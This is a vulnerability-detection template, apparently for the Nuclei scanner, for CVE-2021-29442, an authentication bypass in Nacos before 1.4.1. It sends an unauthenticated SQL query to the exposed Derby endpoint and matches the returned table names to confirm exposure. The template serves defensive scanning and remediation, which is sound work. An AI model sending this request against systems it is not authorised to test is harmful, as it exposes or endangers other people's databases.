53 lines
2.4 KiB
YAML
53 lines
2.4 KiB
YAML
id: CVE-2021-29442
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info:
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name: Nacos <1.4.1 - Authentication Bypass
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author: dwisiswant0
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severity: high
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description: |
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Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
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remediation: |
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Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
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reference:
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- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
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- https://github.com/alibaba/nacos/issues/4463
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- https://github.com/alibaba/nacos/pull/4517
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- https://github.com/advisories/GHSA-36hp-jr8h-556f
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- https://nvd.nist.gov/vuln/detail/CVE-2021-29442
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-29442
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cwe-id: CWE-306
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epss-score: 0.96994
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epss-percentile: 0.99671
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cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: alibaba
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product: nacos
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tags: nacos,auth-bypass,cve,cve2021
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http:
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- method: GET
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path:
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- "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "application/json"
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- type: regex
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part: body
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regex:
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- "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100c3ec5f2e46fbe5bcdecc25a44963f41d627fe3c2b3b282fde3c6f9cbc9d6c1f00221009d564485b5f04fef67128a4288ce332f983eb60335e53b1c6f06b0f4d77eb7bf:922c64590222798bb761d5b6d8e72950
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